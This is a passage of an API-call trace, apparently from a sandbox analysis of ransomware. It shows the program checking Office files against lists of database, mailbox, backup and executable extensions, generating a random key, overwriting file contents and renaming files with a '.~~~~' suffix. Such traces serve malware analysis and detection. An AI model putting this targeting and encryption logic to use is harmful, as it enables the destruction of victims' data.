	[0145.952] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV.HXS", lpSrch=".CKP") returned 0x0
	[0145.952] lstrlenW (lpString=".edb") returned 4
	[0145.952] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV.HXS", lpSrch=".edb") returned 0x0
	[0145.952] lstrlenW (lpString=".PST") returned 4
	[0145.952] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV.HXS", lpSrch=".PST") returned 0x0
	[0145.952] lstrlenW (lpString=".dbf") returned 4
	[0145.952] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV.HXS", lpSrch=".dbf") returned 0x0
	[0145.952] lstrlenW (lpString=".SQL") returned 4
	[0145.952] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV.HXS", lpSrch=".SQL") returned 0x0
	[0145.952] lstrlenW (lpString=".pst") returned 4
	[0145.952] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV.HXS", lpSrch=".pst") returned 0x0
	[0145.953] lstrlenW (lpString=".dbv") returned 4
	[0145.953] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV.HXS", lpSrch=".dbv") returned 0x0
	[0145.953] lstrlenW (lpString=".SDF") returned 4
	[0145.953] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV.HXS", lpSrch=".SDF") returned 0x0
	[0145.953] lstrlenW (lpString=".dtxs") returned 5
	[0145.953] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV.HXS", lpSrch=".dtxs") returned 0x0
	[0145.953] lstrlenW (lpString=".db3") returned 4
	[0145.953] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV.HXS", lpSrch=".db3") returned 0x0
	[0145.953] lstrlenW (lpString=".OST") returned 4
	[0145.953] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV.HXS", lpSrch=".OST") returned 0x0
	[0145.953] lstrlenW (lpString=".dbx") returned 4
	[0145.953] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV.HXS", lpSrch=".dbx") returned 0x0
	[0145.953] lstrlenW (lpString=".DB3") returned 4
	[0145.953] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV.HXS", lpSrch=".DB3") returned 0x0
	[0145.953] lstrlenW (lpString=".DAT") returned 4
	[0145.953] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV.HXS", lpSrch=".DAT") returned 0x0
	[0145.953] lstrlenW (lpString=".VHDX") returned 5
	[0145.953] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV.HXS", lpSrch=".VHDX") returned 0x0
	[0145.953] lstrlenW (lpString=".ndf") returned 4
	[0145.953] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV.HXS", lpSrch=".ndf") returned 0x0
	[0145.953] lstrlenW (lpString=".DB") returned 3
	[0145.953] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV.HXS", lpSrch=".DB") returned 0x0
	[0145.953] lstrlenW (lpString=".sql") returned 4
	[0145.953] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV.HXS", lpSrch=".sql") returned 0x0
	[0145.953] lstrlenW (lpString=".MYD") returned 4
	[0145.953] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV.HXS", lpSrch=".MYD") returned 0x0
	[0145.953] lstrlenW (lpString=".DBT") returned 4
	[0145.953] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV.HXS", lpSrch=".DBT") returned 0x0
	[0145.953] lstrlenW (lpString=".ACCDB") returned 6
	[0145.953] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV.HXS", lpSrch=".ACCDB") returned 0x0
	[0145.953] lstrlenW (lpString=".fdb") returned 4
	[0145.953] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV.HXS", lpSrch=".fdb") returned 0x0
	[0145.954] lstrlenW (lpString=".bak") returned 4
	[0145.954] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV.HXS", lpSrch=".bak") returned 0x0
	[0145.954] lstrlenW (lpString=".myd") returned 4
	[0145.954] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV.HXS", lpSrch=".myd") returned 0x0
	[0145.954] lstrlenW (lpString=".DTXS") returned 5
	[0145.954] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV.HXS", lpSrch=".DTXS") returned 0x0
	[0145.954] lstrlenW (lpString=".ckp") returned 4
	[0145.954] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV.HXS", lpSrch=".ckp") returned 0x0
	[0145.954] lstrlenW (lpString=".dbt") returned 4
	[0145.954] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV.HXS", lpSrch=".dbt") returned 0x0
	[0145.954] lstrlenW (lpString=".db") returned 3
	[0145.954] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV.HXS", lpSrch=".db") returned 0x0
	[0145.954] lstrlenW (lpString=".TXT") returned 4
	[0145.954] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV.HXS", lpSrch=".TXT") returned 0x0
	[0145.954] lstrlenW (lpString=".MDF") returned 4
	[0145.954] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV.HXS", lpSrch=".MDF") returned 0x0
	[0145.954] lstrlenW (lpString=".bdb") returned 4
	[0145.954] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV.HXS", lpSrch=".bdb") returned 0x0
	[0145.954] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0145.954] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV.HXS", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0145.954] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29061a8
	[0145.954] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0145.954] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x395f38) returned 1
	[0145.955] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0145.955] CryptReleaseContext (hProv=0x395f38, dwFlags=0x0) returned 1
	[0145.956] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0145.956] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b70
	[0145.956] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0145.956] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=26594593913) returned 1
	[0145.956] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xc0669b70, dwHighDateTime=0x1d60e1e)) 
	[0145.956] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3622c0
	[0145.956] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0145.956] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3572d8
	[0145.956] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a1fb0
	[0145.956] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0145.956] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a1fb0 | out: hHeap=0x300000) returned 1
	[0145.956] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0145.956] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0145.956] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29b09d0
	[0145.956] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0145.956] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c7550
	[0145.957] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29b09d0 | out: hHeap=0x300000) returned 1
	[0145.957] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0145.957] GetLastError () returned 0x0
	[0145.957] GetLastError () returned 0x0
	[0145.957] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0145.957] GetLastError () returned 0x0
	[0145.957] GetLastError () returned 0x0
	[0145.957] ReadFile (in: hFile=0x10c, lpBuffer=0x28e6048, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesRead=0x24dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0145.961] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0145.961] WriteFile (in: hFile=0x10c, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x24dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0145.961] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0145.961] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0145.961] WriteFile (in: hFile=0x10c, lpBuffer=0x368b70*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b70*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0145.966] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0145.966] WriteFile (in: hFile=0x10c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0145.966] CloseHandle (hObject=0x10c) returned 1
	[0145.966] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29b0bc8
	[0145.966] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.dev.hxs"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV.HXS.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.dev.hxs.~~~~")) returned 1
	[0145.969] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29b0bc8 | out: hHeap=0x300000) returned 1
	[0145.969] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3572d8 | out: hHeap=0x300000) returned 1
	[0145.969] GetLastError () returned 0x0
	[0145.969] RtlWakeConditionVariable () returned 0x0
	[0145.969] GetCurrentThreadId () returned 0x3a4
	[0145.969] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXT", lpSrch=".scr") returned 0x0
	[0145.969] lstrlenW (lpString=".cmd") returned 4
	[0145.969] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXT", lpSrch=".cmd") returned 0x0
	[0145.969] lstrlenW (lpString=".dll") returned 4
	[0145.969] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXT", lpSrch=".dll") returned 0x0
	[0145.969] lstrlenW (lpString=".bat") returned 4
	[0145.969] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXT", lpSrch=".bat") returned 0x0
	[0145.970] lstrlenW (lpString=".cpl") returned 4
	[0145.970] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXT", lpSrch=".cpl") returned 0x0
	[0145.970] lstrlenW (lpString=".sys") returned 4
	[0145.970] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXT", lpSrch=".sys") returned 0x0
	[0145.970] lstrlenW (lpString=".msc") returned 4
	[0145.970] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXT", lpSrch=".msc") returned 0x0
	[0145.970] lstrlenW (lpString=".com") returned 4
	[0145.970] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXT", lpSrch=".com") returned 0x0
	[0145.970] lstrlenW (lpString=".lnk") returned 4
	[0145.970] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXT", lpSrch=".lnk") returned 0x0
	[0145.970] lstrlenW (lpString=".msp") returned 4
	[0145.970] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXT", lpSrch=".msp") returned 0x0
	[0145.970] lstrlenW (lpString=".pif") returned 4
	[0145.970] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXT", lpSrch=".pif") returned 0x0
	[0145.970] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0145.970] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXT", lpSrch="msp\r\n.pif") returned 0x0
	[0145.970] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.dev_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
	[0145.972] lstrlenW (lpString=".sqb") returned 4
	[0145.972] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXT", lpSrch=".sqb") returned 0x0
	[0145.972] lstrlenW (lpString=".ost") returned 4
	[0145.972] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXT", lpSrch=".ost") returned 0x0
	[0145.972] lstrlenW (lpString=".txt") returned 4
	[0145.972] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXT", lpSrch=".txt") returned 0x0
	[0145.972] lstrlenW (lpString=".mdt") returned 4
	[0145.972] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXT", lpSrch=".mdt") returned 0x0
	[0145.972] lstrlenW (lpString=".BDB") returned 4
	[0145.972] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXT", lpSrch=".BDB") returned 0x0
	[0145.972] lstrlenW (lpString=".eql") returned 4
	[0145.972] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXT", lpSrch=".eql") returned 0x0
	[0145.972] lstrlenW (lpString=".DBF") returned 4
	[0145.972] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXT", lpSrch=".DBF") returned 0x0
	[0145.972] lstrlenW (lpString=".EQL") returned 4
	[0145.972] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXT", lpSrch=".EQL") returned 0x0
	[0145.972] lstrlenW (lpString=".FDB") returned 4
	[0145.972] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXT", lpSrch=".FDB") returned 0x0
	[0145.972] lstrlenW (lpString=".EDB") returned 4
	[0145.972] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXT", lpSrch=".EDB") returned 0x0
	[0145.972] lstrlenW (lpString=".DACPAC") returned 7
	[0145.973] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXT", lpSrch=".DACPAC") returned 0x0
	[0145.973] lstrlenW (lpString=".VHD") returned 4
	[0145.973] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXT", lpSrch=".VHD") returned 0x0
	[0145.973] lstrlenW (lpString=".DBV") returned 4
	[0145.973] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXT", lpSrch=".DBV") returned 0x0
	[0145.973] lstrlenW (lpString=".dacpac") returned 7
	[0145.973] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXT", lpSrch=".dacpac") returned 0x0
	[0145.973] lstrlenW (lpString=".sdf") returned 4
	[0145.973] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXT", lpSrch=".sdf") returned 0x0
	[0145.973] lstrlenW (lpString=".accdb") returned 6
	[0145.973] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXT", lpSrch=".accdb") returned 0x0
	[0145.973] lstrlenW (lpString=".DBX") returned 4
	[0145.973] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXT", lpSrch=".DBX") returned 0x0
	[0145.973] lstrlenW (lpString=".MDT") returned 4
	[0145.973] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXT", lpSrch=".MDT") returned 0x0
	[0145.973] lstrlenW (lpString=".SQB") returned 4
	[0145.973] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXT", lpSrch=".SQB") returned 0x0
	[0145.973] lstrlenW (lpString=".vhd") returned 4
	[0145.973] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXT", lpSrch=".vhd") returned 0x0
	[0145.973] lstrlenW (lpString=".bac") returned 4
	[0145.973] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXT", lpSrch=".bac") returned 0x0
	[0145.973] lstrlenW (lpString=".mdf") returned 4
	[0145.973] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXT", lpSrch=".mdf") returned 0x0
	[0145.973] lstrlenW (lpString=".BAK") returned 4
	[0145.973] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXT", lpSrch=".BAK") returned 0x0
	[0145.973] lstrlenW (lpString=".BAC") returned 4
	[0145.973] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXT", lpSrch=".BAC") returned 0x0
	[0145.973] lstrlenW (lpString=".dbs") returned 4
	[0145.973] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXT", lpSrch=".dbs") returned 0x0
	[0145.973] lstrlenW (lpString=".vhdx") returned 5
	[0145.973] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXT", lpSrch=".vhdx") returned 0x0
	[0145.973] lstrlenW (lpString=".NDF") returned 4
	[0145.973] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXT", lpSrch=".NDF") returned 0x0
	[0145.973] lstrlenW (lpString=".dat") returned 4
	[0145.974] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXT", lpSrch=".dat") returned 0x0
	[0145.974] lstrlenW (lpString=".DBS") returned 4
	[0145.974] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXT", lpSrch=".DBS") returned 0x0
	[0145.974] lstrlenW (lpString=".CKP") returned 4
	[0145.974] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXT", lpSrch=".CKP") returned 0x0
	[0145.974] lstrlenW (lpString=".edb") returned 4
	[0145.974] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXT", lpSrch=".edb") returned 0x0
	[0145.974] lstrlenW (lpString=".PST") returned 4
	[0145.974] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXT", lpSrch=".PST") returned 0x0
	[0145.974] lstrlenW (lpString=".dbf") returned 4
	[0145.974] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXT", lpSrch=".dbf") returned 0x0
	[0145.974] lstrlenW (lpString=".SQL") returned 4
	[0145.974] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXT", lpSrch=".SQL") returned 0x0
	[0145.974] lstrlenW (lpString=".pst") returned 4
	[0145.974] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXT", lpSrch=".pst") returned 0x0
	[0145.974] lstrlenW (lpString=".dbv") returned 4
	[0145.974] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXT", lpSrch=".dbv") returned 0x0
	[0145.974] lstrlenW (lpString=".SDF") returned 4
	[0145.974] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXT", lpSrch=".SDF") returned 0x0
	[0145.974] lstrlenW (lpString=".dtxs") returned 5
	[0145.974] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXT", lpSrch=".dtxs") returned 0x0
	[0145.974] lstrlenW (lpString=".db3") returned 4
	[0145.974] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXT", lpSrch=".db3") returned 0x0
	[0145.974] lstrlenW (lpString=".OST") returned 4
	[0145.974] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXT", lpSrch=".OST") returned 0x0
	[0145.974] lstrlenW (lpString=".dbx") returned 4
	[0145.974] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXT", lpSrch=".dbx") returned 0x0
	[0145.974] lstrlenW (lpString=".DB3") returned 4
	[0145.974] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXT", lpSrch=".DB3") returned 0x0
	[0145.974] lstrlenW (lpString=".DAT") returned 4
	[0145.974] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXT", lpSrch=".DAT") returned 0x0
	[0145.974] lstrlenW (lpString=".VHDX") returned 5
	[0145.974] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXT", lpSrch=".VHDX") returned 0x0
	[0145.974] lstrlenW (lpString=".ndf") returned 4
	[0145.974] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXT", lpSrch=".ndf") returned 0x0
	[0145.975] lstrlenW (lpString=".DB") returned 3
	[0145.975] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXT", lpSrch=".DB") returned 0x0
	[0145.975] lstrlenW (lpString=".sql") returned 4
	[0145.975] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXT", lpSrch=".sql") returned 0x0
	[0145.975] lstrlenW (lpString=".MYD") returned 4
	[0145.975] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXT", lpSrch=".MYD") returned 0x0
	[0145.975] lstrlenW (lpString=".DBT") returned 4
	[0145.975] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXT", lpSrch=".DBT") returned 0x0
	[0145.975] lstrlenW (lpString=".ACCDB") returned 6
	[0145.975] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXT", lpSrch=".ACCDB") returned 0x0
	[0145.975] lstrlenW (lpString=".fdb") returned 4
	[0145.975] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXT", lpSrch=".fdb") returned 0x0
	[0145.975] lstrlenW (lpString=".bak") returned 4
	[0145.975] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXT", lpSrch=".bak") returned 0x0
	[0145.975] lstrlenW (lpString=".myd") returned 4
	[0145.975] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXT", lpSrch=".myd") returned 0x0
	[0145.975] lstrlenW (lpString=".DTXS") returned 5
	[0145.975] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXT", lpSrch=".DTXS") returned 0x0
